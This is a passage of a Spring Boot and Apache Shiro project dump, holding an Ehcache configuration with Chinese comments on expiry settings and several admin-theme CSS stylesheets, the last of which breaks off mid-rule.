    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/ehcache.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<ehcache xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:noNamespaceSchemaLocation=\"http://ehcache.org/ehcache.xsd\"\n         updateCheck=\"false\" monitoring=\"autodetect\"\n         dynamicConfig=\"true\">\n\n    <diskStore path=\"java.io.tmpdir/ehcache\"/>\n\n    <defaultCache\n            maxElementsInMemory=\"50000\"\n            eternal=\"false\"\n            timeToIdleSeconds=\"3600\"\n            timeToLiveSeconds=\"3600\"\n            overflowToDisk=\"true\"\n            diskPersistent=\"false\"\n            diskExpiryThreadIntervalSeconds=\"120\"\n    />\n    <!-- 全局变量：永不过期-->\n    <cache name=\"CONSTANT\"\n           maxElementsInMemory=\"50000\"\n           eternal=\"true\"\n           clearOnFlush=\"false\"\n           overflowToDisk=\"true\"\n           diskSpoolBufferSizeMB=\"1024\"\n           maxElementsOnDisk=\"100000\"\n           diskPersistent=\"false\"\n           diskExpiryThreadIntervalSeconds=\"120\"\n           memoryStoreEvictionPolicy=\"LFU\"\n           transactionalMode=\"off\">\n    </cache>\n\n    <cache name=\"TOKEN_CACHE\"\n           maxElementsInMemory=\"50000\"\n           eternal=\"true\"\n           clearOnFlush=\"false\"\n           overflowToDisk=\"true\"\n           diskSpoolBufferSizeMB=\"1024\"\n           maxElementsOnDisk=\"100000\"\n           diskPersistent=\"false\"\n           diskExpiryThreadIntervalSeconds=\"120\"\n           memoryStoreEvictionPolicy=\"LFU\"\n           transactionalMode=\"off\">\n    </cache>\n\n    <cache name=\"shiro-activeSessionCache\"\n           maxElementsInMemory=\"10000\"\n           overflowToDisk=\"true\"\n           eternal=\"true\"\n           timeToLiveSeconds=\"0\"\n           timeToIdleSeconds=\"0\"\n           diskPersistent=\"true\"\n           diskExpiryThreadIntervalSeconds=\"600\"/>\n\n    <cache name=\"org.apache.shiro.realm.text.PropertiesRealm-0-accounts\"\n           maxElementsInMemory=\"1000\"\n           eternal=\"true\"\n           overflowToDisk=\"true\"/>\n\n</ehcache>\n\n        <!--\n            maxElementsInMemory=\"10000\" \t//Cache中最多允许保存的数据对象的数量\n            external=\"false\" \t\t\t\t//缓存中对象是否为永久的，如果是，超时设置将被忽略，对象从不过期\n            timeToLiveSeconds=\"3600\"  \t\t//缓存的存活时间，从开始创建的时间算起\n            timeToIdleSeconds=\"3600\"  \t\t//多长时间不访问该缓存，那么ehcache 就会清除该缓存\n\n            这两个参数很容易误解，看文档根本没用，我仔细分析了ehcache的代码。结论如下：\n            1、timeToLiveSeconds的定义是：以创建时间为基准开始计算的超时时长；\n            2、timeToIdleSeconds的定义是：在创建时间和最近访问时间中取出离现在最近的时间作为基准计算的超时时长；\n            3、如果仅设置了timeToLiveSeconds，则该对象的超时时间=创建时间+timeToLiveSeconds，假设为A；\n            4、如果没设置timeToLiveSeconds，则该对象的超时时间=min(创建时间，最近访问时间)+timeToIdleSeconds，假设为B；\n            5、如果两者都设置了，则取出A、B最少的值，即min(A,B)，表示只要有一个超时成立即算超时。\n\n            overflowToDisk=\"true\"    \t\t//内存不足时，是否启用磁盘缓存\n            diskSpoolBufferSizeMB\t//设置DiskStore（磁盘缓存）的缓存区大小。默认是30MB。每个Cache都应该有自己的一个缓冲区\n            maxElementsOnDisk\t\t//硬盘最大缓存个数\n            diskPersistent\t\t\t//是否缓存虚拟机重启期数据The default value is false\n            diskExpiryThreadIntervalSeconds\t//磁盘失效线程运行时间间隔，默认是120秒。\n            memoryStoreEvictionPolicy=\"LRU\" //当达到maxElementsInMemory限制时，Ehcache将会根据指定的策略去清理内存。默认策略是LRU（最近最少使用）。你可以设置为FIFO（先进先出）或是LFU（较少使用）。\n            clearOnFlush\t//内存数量最大时是否清除\n            maxEntriesLocalHeap=\"0\"\n            maxEntriesLocalDisk=\"1000\"\n        -->\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/public/static/css/404.css",
    "content": "body, div {\n    margin: 0;\n    padding: 0;\n}\nbody {\n    background: url(\"../img/error/error_bg.jpg\") repeat-x scroll 0 0 #67ACE4;\n}\n#container {\n    margin: 0 auto;\n    padding-top: 50px;\n    text-align: center;\n    width: 560px;\n}\n#container img {\n    border: medium none;\n    margin-bottom: 50px;\n}\n#container .error {\n    height: 200px;\n    position: relative;\n}\n#container .error img {\n    bottom: -50px;\n    position: absolute;\n    right: -50px;\n}\n#container .msg {\n    margin-bottom: 65px;\n}\n#cloud {\n    background: url(\"../img/error/error_cloud.png\") repeat-x scroll 0 0 transparent;\n    bottom: 0;\n    height: 170px;\n    position: absolute;\n    width: 100%;\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/public/static/css/login.css",
    "content": "html{height: 100%;}\nbody.signin {\n    background: #18c8f6;\n    height: auto;\n    -webkit-background-size: cover;\n    -moz-background-size: cover;\n    -o-background-size: cover;\n    background-size: cover;\n    color: rgba(255,255,255,.95);\n}\n\n.signinpanel {\n    width: 750px;\n    margin: 10% auto 0 auto;\n}\n\n.signinpanel .logopanel {\n    float: none;\n    width: auto;\n    padding: 0;\n    background: none;\n}\n\n.signinpanel .signin-info ul {\n    list-style: none;\n    padding: 0;\n    margin: 20px 0;\n}\n\n.signinpanel .form-control {\n    display: block;\n    margin-top: 15px;\n}\n\n.signinpanel .btn {\n    margin-top: 15px;\n}\n\n.signinpanel form {\n    background: rgba(255, 255, 255, 0.2);\n    border: 1px solid rgba(255,255,255,.3);\n    -moz-box-shadow: 0 3px 0 rgba(12, 12, 12, 0.03);\n    -webkit-box-shadow: 0 3px 0 rgba(12, 12, 12, 0.03);\n    box-shadow: 0 3px 0 rgba(12, 12, 12, 0.03);\n    -moz-border-radius: 3px;\n    -webkit-border-radius: 3px;\n    border-radius: 3px;\n    padding: 30px;\n}\n\n.signup-footer{border-top: solid 1px rgba(255,255,255,.3);margin:20px 0;padding-top: 15px;}\n\n@media screen and (max-width: 768px) {\n    .signinpanel,\n    .signuppanel {\n        margin: 0 auto;\n        width: 420px!important;\n        padding: 20px;\n    }\n    .signinpanel form {\n        margin-top: 20px;\n    }\n    .signup-footer {\n        margin-bottom: 10px;\n    }\n    .signuppanel .form-control {\n        margin-bottom: 10px;\n    }\n    .signup-footer .pull-left,\n    .signup-footer .pull-right {\n        float: none !important;\n        text-align: center;\n    }\n    .signinpanel .signin-info ul {\n        display: none;\n    }\n}\n@media screen and (max-width: 320px) {\n    .signinpanel,\n    .signuppanel {\n        margin:0 20px;\n        width:auto;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/public/static/css/style.css",
    "content": "/*\n *\n *   H+ - 后台主题UI框架\n *   version 4.0\n *\n*/\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n    font-weight: 100;\n}\n\nh1 {\n    font-size: 30px;\n}\n\nh2 {\n    font-size: 24px;\n}\n\nh3 {\n    font-size: 16px;\n}\n\nh4 {\n    font-size: 14px;\n}\n\nh5 {\n    font-size: 12px;\n}\n\nh6 {\n    font-size: 10px;\n}\n\nh3,\nh4,\nh5 {\n    margin-top: 5px;\n    font-weight: 600;\n}\n\na:focus {\n    outline: none;\n}\n\n.nav > li > a {\n    color: #a7b1c2;\n    font-weight: 600;\n    padding: 14px 20px 14px 25px;\n}\n\n.nav li>a {\n    display: block;\n    /*white-space: nowrap;*/\n}\n\n.nav.navbar-right > li > a {\n    color: #999c9e;\n}\n\n.nav > li.active > a {\n    color: #ffffff;\n}\n\n.navbar-default .nav > li > a:hover,\n.navbar-default .nav > li > a:focus {\n    background-color: #293846;\n    color: white;\n}\n\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n    background: #fff;\n}\n\n.nav > li > a i {\n    margin-right: 6px;\n}\n\n.navbar {\n    border: 0;\n}\n\n.navbar-default {\n    background-color: transparent;\n    border-color: #2f4050;\n    position: relative;\n}\n\n.navbar-top-links li {\n    display: inline-block;\n}\n\n.navbar-top-links li:last-child {\n    margin-right: 30px;\n}\n\nbody.body-small .navbar-top-links li:last-child {\n    margin-right: 10px;\n}\n\n.navbar-top-links li a {\n    padding: 20px 10px;\n    min-height: 50px;\n}\n\n.dropdown-menu {\n    border: medium none;\n    display: none;\n    float: left;\n    font-size: 12px;\n    left: 0;\n    list-style: none outside none;\n    padding: 0;\n    position: absolute;\n    text-shadow: none;\n    top: 100%;\n    z-index: 1000;\n    border-radius: 0;\n    box-shadow: 0 0 3px rgba(86, 96, 117, 0.3);\n}\n\n.dropdown-menu > li > a {\n    border-radius: 3px;\n    color: inherit;\n    line-height: 25px;\n    margin: 4px;\n    text-align: left;\n    font-weight: normal;\n}\n\n.dropdown-menu > li > a.font-bold {\n    font-weight: 600;\n}\n\n.navbar-top-links .dropdown-menu li {\n    display: block;\n}\n\n.navbar-top-links .dropdown-menu li:last-child {\n    margin-right: 0;\n}\n\n.navbar-top-links .dropdown-menu li a {\n    padding: 3px 20px;\n    min-height: 0;\n}\n\n.navbar-top-links .dropdown-menu li a div {\n    white-space: normal;\n}\n\n.navbar-top-links .dropdown-messages,\n.navbar-top-links .dropdown-tasks,\n.navbar-top-links .dropdown-alerts {\n    width: 310px;\n    min-width: 0;\n}\n\n.navbar-top-links .dropdown-messages {\n    margin-left: 5px;\n}\n\n.navbar-top-links .dropdown-tasks {\n    margin-left: -59px;\n}\n\n.navbar-top-links .dropdown-alerts {\n    margin-left: -123px;\n}\n\n.navbar-top-links .dropdown-user {\n    right: 0;\n    left: auto;\n}\n\n.dropdown-messages,\n.dropdown-alerts {\n    padding: 10px 10px 10px 10px;\n}\n\n.dropdown-messages li a,\n.dropdown-alerts li a {\n    font-size: 12px;\n}\n\n.dropdown-messages li em,\n.dropdown-alerts li em {\n    font-size: 10px;\n}\n\n.nav.navbar-top-links .dropdown-alerts a {\n    font-size: 12px;\n}\n\n.nav-header {\n    padding: 33px 25px;\n    background: url(\"patterns/header-profile.png\") no-repeat;\n}\n\n.pace-done .nav-header {\n    -webkit-transition: all 0.5s;\n    transition: all 0.5s;\n}\n\n.nav > li.active {\n    border-left: 4px solid #19aa8d;\n    background: #293846;\n}\n\n.nav.nav-second-level > li.active {\n    border: none;\n}\n\n.nav.nav-second-level.collapse[style] {\n    height: auto !important;\n}\n\n.nav-header a {\n    color: #DFE4ED;\n}\n\n.nav-header .text-muted {\n    color: #8095a8;\n}\n\n.minimalize-styl-2 {\n    padding: 4px 12px;\n    margin: 14px 5px 5px 20px;\n    font-size: 14px;\n    float: left;\n}\n\n.navbar-form-custom {\n    float: left;\n    height: 50px;\n    padding: 0;\n    width: 200px;\n    display: inline-table;\n}\n\n.navbar-form-custom .form-group {\n    margin-bottom: 0;\n}\n\n.nav.navbar-top-links a {\n    font-size: 14px;\n}\n\n.navbar-form-custom .form-control {\n    background: none repeat scroll 0 0 rgba(0, 0, 0, 0);\n    border: medium none;\n    font-size: 14px;\n    height: 60px;\n    margin: 0;\n    z-index: 2000;\n}\n\n.count-info .label {\n    line-height: 12px;\n    padding: 1px 5px;\n    position: absolute;\n    right: 6px;\n    top: 12px;\n}\n\n.arrow {\n    float: right;\n    margin-top: 2px;\n}\n\n.fa.arrow:before {\n    content: \"\\f104\";\n}\n\n.active > a > .fa.arrow:before {\n    content: \"\\f107\";\n}\n\n.nav-second-level li,\n.nav-third-level li {\n    border-bottom: none !important;\n}\n\n.nav-second-level li a {\n    padding: 7px 15px 7px 10px;\n    padding-left: 52px;\n}\n\n.nav-third-level li a {\n    padding-left: 62px;\n}\n\n.nav-second-level li:last-child {\n    margin-bottom: 10px;\n}\n\nbody:not(.fixed-sidebar):not(.canvas-menu).mini-navbar .nav li:hover > .nav-second-level,\n.mini-navbar .nav li:focus > .nav-second-level {\n    display: block;\n    border-radius: 0 2px 2px 0;\n    min-width: 140px;\n    height: auto;\n}\n\nbody.mini-navbar .navbar-default .nav > li > .nav-second-level li a {\n    font-size: 12px;\n    border-radius: 0 2px 2px 0;\n}\n\n.fixed-nav .slimScrollDiv #side-menu {\n    padding-bottom: 60px;\n    position: relative;\n}\n\n.slimScrollDiv >* {\n    overflow: hidden;\n}\n\n.mini-navbar .nav-second-level li a {\n    padding: 10px 10px 10px 15px;\n}\n\n.canvas-menu.mini-navbar .nav-second-level {\n    background: #293846;\n}\n\n.mini-navbar li.active .nav-second-level {\n    left: 65px;\n}\n\n.navbar-default .special_link a {\n    background: #1ab394;\n    color: white;\n}\n\n.navbar-default .special_link a:hover {\n    background: #17987e !important;\n    color: white;\n}\n\n.navbar-default .special_link a span.label {\n    background: #fff;\n    color: #1ab394;\n}\n\n.navbar-default .landing_link a {\n    background: #1cc09f;\n    color: white;\n}\n\n.navbar-default .landing_link a:hover {\n    background: #1ab394 !important;\n    color: white;\n}\n\n.navbar-default .landing_link a span.label {\n    background: #fff;\n    color: #1cc09f;\n}\n\n.logo-element {\n    text-align: center;\n    font-size: 18px;\n    font-weight: 600;\n    color: white;\n    display: none;\n    padding: 18px 0;\n}\n\n.pace-done .navbar-static-side,\n.pace-done .nav-header,\n.pace-done li.active,\n.pace-done #page-wrapper,\n.pace-done .footer {\n    -webkit-transition: all 0.5s;\n    transition: all 0.5s;\n}\n\n.navbar-fixed-top {\n    background: #fff;\n    -webkit-transition-duration: 0.5s;\n    transition-duration: 0.5s;\n    z-index: 2030;\n}\n\n.navbar-fixed-top,\n.navbar-static-top {\n    background: #f3f3f4;\n}\n\n.fixed-nav #wrapper {\n    padding-top: 60px;\n    box-sizing: border-box;\n}\n\n.fixed-nav .minimalize-styl-2 {\n    margin: 14px 5px 5px 15px;\n}\n\n.body-small .navbar-fixed-top {\n    margin-left: 0px;\n}\n\nbody.mini-navbar .navbar-static-side {\n    width: 70px;\n}\n\nbody.mini-navbar .profile-element,\nbody.mini-navbar .nav-label,\nbody.mini-navbar .navbar-default .nav li a span {\n    display: none;\n}\n\nbody.canvas-menu .profile-element {\n    display: block;\n}\n\nbody:not(.fixed-sidebar):not(.canvas-menu).mini-navbar .nav-second-level {\n    display: none;\n}\n\nbody.mini-navbar .navbar-default .nav > li > a {\n    font-size: 16px;\n}\n\nbody.mini-navbar .logo-element {\n    display: block;\n}\n\nbody.canvas-menu .logo-element {\n    display: none;\n}\n\nbody.mini-navbar .nav-header {\n    padding: 0;\n    background-color: #1ab394;\n}\n\nbody.canvas-menu .nav-header {\n    padding: 33px 25px;\n}\n\nbody.mini-navbar #page-wrapper {\n    margin: 0 0 0 70px;\n}\n\nbody.canvas-menu.mini-navbar #page-wrapper,\nbody.canvas-menu.mini-navbar .footer {\n    margin: 0 0 0 0;\n}\n\nbody.fixed-sidebar .navbar-static-side,\nbody.canvas-menu .navbar-static-side {\n    position: fixed;\n    width: 220px;\n    z-index: 2001;\n    height: 100%;\n}\n\nbody.fixed-sidebar.mini-navbar .navbar-static-side {\n    width: 70px;\n}\n\nbody.fixed-sidebar.mini-navbar #page-wrapper {\n    margin: 0 0 0 70px;\n}\n\nbody.body-small.fixed-sidebar.mini-navbar #page-wrapper {\n    margin: 0 0 0 70px;\n}\n\nbody.body-small.fixed-sidebar.mini-navbar .navbar-static-side {\n    width: 70px;\n}\n\n.fixed-sidebar.mini-navbar .nav li> .nav-second-level {\n    display: none;\n}\n\n.fixed-sidebar.mini-navbar .nav li.active {\n    border-left-width: 0;\n}\n\n.fixed-sidebar.mini-navbar .nav li:hover > .nav-second-level,\n.canvas-menu.mini-navbar .nav li:hover > .nav-second-level {\n    position: absolute;\n    left: 70px;\n    top: 0px;\n    background-color: #2f4050;\n    padding: 10px 10px 0 10px;\n    font-size: 12px;\n    display: block;\n    min-width: 140px;\n    border-radius: 2px;\n}\n\nbody.fixed-sidebar.mini-navbar .navbar-default .nav > li > .nav-second-level li a {\n    font-size: 12px;\n    border-radius: 3px;\n}\n\nbody.canvas-menu.mini-navbar .navbar-default .nav > li > .nav-second-level li a {\n    font-size: 13px;\n    border-radius: 3px;\n}\n\n.fixed-sidebar.mini-navbar .nav-second-level li a,\n.canvas-menu.mini-navbar .nav-second-level li a {\n    padding: 10px 10px 10px 15px;\n}\n\n.fixed-sidebar.mini-navbar .nav-second-level,\n.canvas-menu.mini-navbar .nav-second-level {\n    position: relative;\n    padding: 0;\n    font-size: 13px;\n}\n\n.fixed-sidebar.mini-navbar li.active .nav-second-level,\n.canvas-menu.mini-navbar li.active .nav-second-level {\n    left: 0px;\n}\n\nbody.canvas-menu nav.navbar-static-side {\n    z-index: 2001;\n    background: #2f4050;\n    height: 100%;\n    position: fixed;\n    display: none;\n}\n\nbody.canvas-menu.mini-navbar nav.navbar-static-side {\n    display: block;\n    width: 70px;\n}\n\n.top-navigation #page-wrapper {\n    margin-left: 0;\n}\n\n.top-navigation .navbar-nav .dropdown-menu > .active > a {\n    background: white;\n    color: #1ab394;\n    font-weight: bold;\n}\n\n.white-bg .navbar-fixed-top,\n.white-bg .navbar-static-top {\n    background: #fff;\n}\n\n.top-navigation .navbar {\n    margin-bottom: 0;\n}\n\n.top-navigation .nav > li > a {\n    padding: 15px 20px;\n    color: #676a6c;\n}\n\n.top-navigation .nav > li a:hover,\n.top-navigation .nav > li a:focus {\n    background: #fff;\n    color: #1ab394;\n}\n\n.top-navigation .nav > li.active {\n    background: #fff;\n    border: none;\n}\n\n.top-navigation .nav > li.active > a {\n    color: #1ab394;\n}\n\n.top-navigation .navbar-right {\n    padding-right: 10px;\n}\n\n.top-navigation .navbar-nav .dropdown-menu {\n    box-shadow: none;\n    border: 1px solid #e7eaec;\n}\n\n.top-navigation .dropdown-menu > li > a {\n    margin: 0;\n    padding: 7px 20px;\n}\n\n.navbar .dropdown-menu {\n    margin-top: 0px;\n}\n\n.top-navigation .navbar-brand {\n    background: #1ab394;\n    color: #fff;\n    padding: 15px 25px;\n}\n\n.top-navigation .navbar-top-links li:last-child {\n    margin-right: 0;\n}\n\n.top-navigation.mini-navbar #page-wrapper,\n.top-navigation.body-small.fixed-sidebar.mini-navbar #page-wrapper,\n.mini-navbar .top-navigation #page-wrapper,\n.body-small.fixed-sidebar.mini-navbar .top-navigation #page-wrapper,\n.canvas-menu #page-wrapper {\n    margin: 0;\n}\n\n.top-navigation.fixed-nav #wrapper,\n.fixed-nav #wrapper.top-navigation {\n    margin-top: 50px;\n}\n\n.top-navigation .footer.fixed {\n    margin-left: 0 !important;\n}\n\n.top-navigation .wrapper.wrapper-content {\n    padding: 40px;\n}\n\n.top-navigation.body-small .wrapper.wrapper-content,\n.body-small .top-navigation .wrapper.wrapper-content {\n    padding: 40px 0px 40px 0px;\n}\n\n.navbar-toggle {\n    background-color: #1ab394;\n    color: #fff;\n    padding: 6px 12px;\n    font-size: 14px;\n}\n\n.top-navigation .navbar-nav .open .dropdown-menu > li > a,\n.top-navigation .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 10px 15px 10px 20px;\n}\n\n@media (max-width: 768px) {\n    .top-navigation .navbar-header {\n        display: block;\n        float: none;\n    }\n}\n\n.menu-visible-lg,\n.menu-visible-md {\n    display: none !important;\n}\n\n@media (min-width: 1200px) {\n    .menu-visible-lg {\n        display: block !important;\n    }\n}\n\n@media (min-width: 992px) {\n    .menu-visible-md {\n        display: block !important;\n    }\n}\n\n@media (max-width: 767px) {\n    .menu-visible-md {\n        display: block !important;\n    }\n    .menu-visible-lg {\n        display: block !important;\n    }\n}\n\n.btn {\n    border-radius: 3px;\n}\n\n.float-e-margins .btn {\n    margin-bottom: 5px;\n}\n\n.btn-w-m {\n    min-width: 120px;\n}\n\n.btn-primary.btn-outline {\n    color: #1ab394;\n}\n\n.btn-success.btn-outline {\n    color: #1c84c6;\n}\n\n.btn-info.btn-outline {\n    color: #23c6c8;\n}\n\n.btn-warning.btn-outline {\n    color: #f8ac59;\n}\n\n.btn-danger.btn-outline {\n    color: #ed5565;\n}\n\n.btn-primary.btn-outline:hover,\n.btn-success.btn-outline:hover,\n.btn-info.btn-outline:hover,\n.btn-warning.btn-outline:hover,\n.btn-danger.btn-outline:hover {\n    color: #fff;\n}\n\n.btn-primary {\n    background-color: #1ab394;\n    border-color: #1ab394;\n    color: #FFFFFF;\n}\n\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n    background-color: #18a689;\n    border-color: #18a689;\n    color: #FFFFFF;\n}\n\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n    background-image: none;\n}\n\n.btn-primary.disabled,\n.btn-primary.disabled:hover,\n.btn-primary.disabled:focus,\n.btn-primary.disabled:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled],\n.btn-primary[disabled]:hover,\n.btn-primary[disabled]:focus,\n.btn-primary[disabled]:active,\n.btn-primary.active[disabled],\nfieldset[disabled] .btn-primary,\nfieldset[disabled] .btn-primary:hover,\nfieldset[disabled] .btn-primary:focus,\nfieldset[disabled] .btn-primary:active,\nfieldset[disabled] .btn-primary.active {\n    background-color: #1dc5a3;\n    border-color: #1dc5a3;\n}\n\n.btn-success {\n    background-color: #1c84c6;\n    border-color: #1c84c6;\n    color: #FFFFFF;\n}\n\n.btn-success:hover,\n.btn-success:focus,\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n    background-color: #1a7bb9;\n    border-color: #1a7bb9;\n    color: #FFFFFF;\n}\n\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n    background-image: none;\n}\n\n.btn-success.disabled,\n.btn-success.disabled:hover,\n.btn-success.disabled:focus,\n.btn-success.disabled:active,\n.btn-success.disabled.active,\n.btn-success[disabled],\n.btn-success[disabled]:hover,\n.btn-success[disabled]:focus,\n.btn-success[disabled]:active,\n.btn-success.active[disabled],\nfieldset[disabled] .btn-success,\nfieldset[disabled] .btn-success:hover,\nfieldset[disabled] .btn-success:focus,\nfieldset[disabled] .btn-success:active,\nfieldset[disabled] .btn-success.active {\n    background-color: #1f90d8;\n    border-color: #1f90d8;\n}\n\n.btn-info {\n    background-color: #23c6c8;\n    border-color: #23c6c8;\n    color: #FFFFFF;\n}\n\n.btn-info:hover,\n.btn-info:focus,\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n    background-color: #21b9bb;\n    border-color: #21b9bb;\n    color: #FFFFFF;\n}\n\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n    background-image: none;\n}\n\n.btn-info.disabled,\n.btn-info.disabled:hover,\n.btn-info.disabled:focus,\n.btn-info.disabled:active,\n.btn-info.disabled.active,\n.btn-info[disabled],\n.btn-info[disabled]:hover,\n.btn-info[disabled]:focus,\n.btn-info[disabled]:active,\n.btn-info.active[disabled],\nfieldset[disabled] .btn-info,\nfieldset[disabled] .btn-info:hover,\nfieldset[disabled] .btn-info:focus,\nfieldset[disabled] .btn-info:active,\nfieldset[disabled] .btn-info.active {\n    background-color: #26d7d9;\n    border-color: #26d7d9;\n}\n\n.btn-default {\n    background-color: #c2c2c2;\n    border-color: #c2c2c2;\n    color: #FFFFFF;\n}\n\n.btn-default:hover,\n.btn-default:focus,\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n    background-color: #bababa;\n    border-color: #bababa;\n    color: #FFFFFF;\n}\n\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n    background-image: none;\n}\n\n.btn-default.disabled,\n.btn-default.disabled:hover,\n.btn-default.disabled:focus,\n.btn-default.disabled:active,\n.btn-default.disabled.active,\n.btn-default[disabled],\n.btn-default[disabled]:hover,\n.btn-default[disabled]:focus,\n.btn-default[disabled]:active,\n.btn-default.active[disabled],\nfieldset[disabled] .btn-default,\nfieldset[disabled] .btn-default:hover,\nfieldset[disabled] .btn-default:focus,\nfieldset[disabled] .btn-default:active,\nfieldset[disabled] .btn-default.active {\n    background-color: #cccccc;\n    border-color: #cccccc;\n}\n\n.btn-warning {\n    background-color: #f8ac59;\n    border-color: #f8ac59;\n    color: #FFFFFF;\n}\n\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n    background-color: #f7a54a;\n    border-color: #f7a54a;\n    color: #FFFFFF;\n}\n\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n    background-image: none;\n}\n\n.btn-warning.disabled,\n.btn-warning.disabled:hover,\n.btn-warning.disabled:focus,\n.btn-warning.disabled:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled],\n.btn-warning[disabled]:hover,\n.btn-warning[disabled]:focus,\n.btn-warning[disabled]:active,\n.btn-warning.active[disabled],\nfieldset[disabled] .btn-warning,\nfieldset[disabled] .btn-warning:hover,\nfieldset[disabled] .btn-warning:focus,\nfieldset[disabled] .btn-warning:active,\nfieldset[disabled] .btn-warning.active {\n    background-color: #f9b66d;\n    border-color: #f9b66d;\n}\n\n.btn-danger {\n    background-color: #ed5565;\n    border-color: #ed5565;\n    color: #FFFFFF;\n}\n\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n    background-color: #ec4758;\n    border-color: #ec4758;\n    color: #FFFFFF;\n}\n\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n    background-image: none;\n}\n\n.btn-danger.disabled,\n.btn-danger.disabled:hover,\n.btn-danger.disabled:focus,\n.btn-danger.disabled:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled],\n.btn-danger[disabled]:hover,\n.btn-danger[disabled]:focus,\n.btn-danger[disabled]:active,\n.btn-danger.active[disabled],\nfieldset[disabled] .btn-danger,\nfieldset[disabled] .btn-danger:hover,\nfieldset[disabled] .btn-danger:focus,\nfieldset[disabled] .btn-danger:active,\nfieldset[disabled] .btn-danger.active {\n    background-color: #ef6776;\n    border-color: #ef6776;\n}\n\n.btn-link {\n    color: inherit;\n}\n\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active,\n.btn-link.active,\n.open .dropdown-toggle.btn-link {\n    color: #1ab394;\n    text-decoration: none;\n}\n\n.btn-link:active,\n.btn-link.active,\n.open .dropdown-toggle.btn-link {\n    background-image: none;\n}\n\n.btn-link.disabled,\n.btn-link.disabled:hover,\n.btn-link.disabled:focus,\n.btn-link.disabled:active,\n.btn-link.disabled.active,\n.btn-link[disabled],\n.btn-link[disabled]:hover,\n.btn-link[disabled]:focus,\n.btn-link[disabled]:active,\n.btn-link.active[disabled],\nfieldset[disabled] .btn-link,\nfieldset[disabled] .btn-link:hover,\nfieldset[disabled] .btn-link:focus,\nfieldset[disabled] .btn-link:active,\nfieldset[disabled] .btn-link.active {\n    color: #cacaca;\n}\n\n.btn-white {\n    color: inherit;\n    background: white;\n    border: 1px solid #e7eaec;\n}\n\n.btn-white:hover,\n.btn-white:focus,\n.btn-white:active,\n.btn-white.active,\n.open .dropdown-toggle.btn-white {\n    color: inherit;\n    border: 1px solid #d2d2d2;\n}\n\n.btn-white:active,\n.btn-white.active {\n    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15) inset;\n}\n\n.btn-white:active,\n.btn-white.active,\n.open .dropdown-toggle.btn-white {\n    background-image: none;\n}\n\n.btn-white.disabled,\n.btn-white.disabled:hover,\n.btn-white.disabled:focus,\n.btn-white.disabled:active,\n.btn-white.disabled.active,\n.btn-white[disabled],\n.btn-white[disabled]:hover,\n.btn-white[disabled]:focus,\n.btn-white[disabled]:active,\n.btn-white.active[disabled],\nfieldset[disabled] .btn-white,\nfieldset[disabled] .btn-white:hover,\nfieldset[disabled] .btn-white:focus,\nfieldset[disabled] .btn-white:active,\nfieldset[disabled] .btn-white.active {\n    color: #cacaca;\n}\n\n.form-control,\n.form-control:focus,\n.has-error .form-control:focus,\n.has-success .form-control:focus,\n.has-warning .form-control:focus,\n.navbar-collapse,\n.navbar-form,\n.navbar-form-custom .form-control:focus,\n.navbar-form-custom .form-control:hover,\n.open .btn.dropdown-toggle,\n.panel,\n.popover,\n.progress,\n.progress-bar {\n    box-shadow: none;\n}\n\n.btn-outline {\n    color: inherit;\n    background-color: transparent;\n    -webkit-transition: all .5s;\n    transition: all .5s;\n}\n\n.btn-rounded {\n    border-radius: 50px;\n}\n\n.btn-large-dim {\n    width: 90px;\n    height: 90px;\n    font-size: 42px;\n}\n\nbutton.dim {\n    display: inline-block;\n    color: #fff;\n    text-decoration: none;\n    text-transform: uppercase;\n    text-align: center;\n    padding-top: 6px;\n    margin-right: 10px;\n    position: relative;\n    cursor: pointer;\n    border-radius: 5px;\n    font-weight: 600;\n    margin-bottom: 20px !important;\n}\n\nbutton.dim:active {\n    top: 3px;\n}\n\nbutton.btn-primary.dim {\n    box-shadow: inset 0px 0px 0px #16987e, 0px 5px 0px 0px #16987e, 0px 10px 5px #999999;\n}\n\nbutton.btn-primary.dim:active {\n    box-shadow: inset 0px 0px 0px #16987e, 0px 2px 0px 0px #16987e, 0px 5px 3px #999999;\n}\n\nbutton.btn-default.dim {\n    box-shadow: inset 0px 0px 0px #b3b3b3, 0px 5px 0px 0px #b3b3b3, 0px 10px 5px #999999;\n}\n\nbutton.btn-default.dim:active {\n    box-shadow: inset 0px 0px 0px #b3b3b3, 0px 2px 0px 0px #b3b3b3, 0px 5px 3px #999999;\n}\n\nbutton.btn-warning.dim {\n    box-shadow: inset 0px 0px 0px #f79d3c, 0px 5px 0px 0px #f79d3c, 0px 10px 5px #999999;\n}\n\nbutton.btn-warning.dim:active {\n    box-shadow: inset 0px 0px 0px #f79d3c, 0px 2px 0px 0px #f79d3c, 0px 5px 3px 